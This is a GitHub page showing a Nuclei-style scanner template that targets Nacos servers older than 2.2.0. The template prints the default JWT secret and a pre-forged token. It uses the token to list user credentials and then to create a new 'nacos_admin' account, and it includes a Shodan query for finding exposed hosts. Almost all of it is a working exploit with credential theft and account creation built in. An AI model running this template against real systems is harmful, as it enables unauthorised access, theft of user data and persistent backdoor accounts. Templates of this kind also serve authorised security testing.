-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathnacos-bypass-authentication.yaml
86 lines (79 loc) · 2.41 KB
/
nacos-bypass-authentication.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
id: nacos-authentication-bypass-add-user
info:
name: Nacos < 2.2.0 - Authentication Bypass
author: Esonhugh-self-maintained
severity: critical
description: |
The authentication function of Nacos is can be bypass through default JWT secret.
SecertKey: SecretKey012345678901234567890123456789012345678901234567890123456789
Need base64 encode
reference:
- https://github.com/alibaba/nacos/issues/10060
- https://avd.aliyun.com/detail?id=AVD-2023-1655789
- https://nacos.io/zh-cn/docs/auth.html
remediation: Change value of jwt secret in the configurations
metadata:
verified: "true"
shodan-query: title:"Nacos"
tags: auth-bypass,nacos,misconfig,jwt
variables:
token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g
stop-at-first-match: true
requests:
- method: GET
path:
- "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}"
- "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- '"username":'
- '"password":'
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
extractors:
- type: json
part: body
name: extracted-credentials
json:
- ".pageItems[]"
- method: POST
path:
- "{{BaseURL}}/nacos/v1/auth/users"
- "{{BaseURL}}/v1/auth/users"
headers:
Content-Type: application/x-www-form-urlencoded
accessToken: "{{token}}"
body: "username=nacos_admin&password={{randstr_2}}"
matchers-condition: and
stop-at-first-match: true
matchers:
- type: status
status:
- 200
- type: word
words:
- '"code":'
- "200"
- '"data":'
- '"create user ok!"'
condition: and
- type: word
part: header
words:
- "application/json"
extractors:
- type: json
part: body
json:
- ".message"
name: Create user nacos_admin/{{randstr_2}}
# digest: 4b0a00483046022100e294037f58b961034ab107011ed0d3bed3c2b2d58d30ce6983c17d57e95021f0022100a6e63bf2da2c023f04032f10b8db579b6a55a69179e4206702baa4d9abfa3c14:569246fd1e83ae0648e1a21ffb4fe811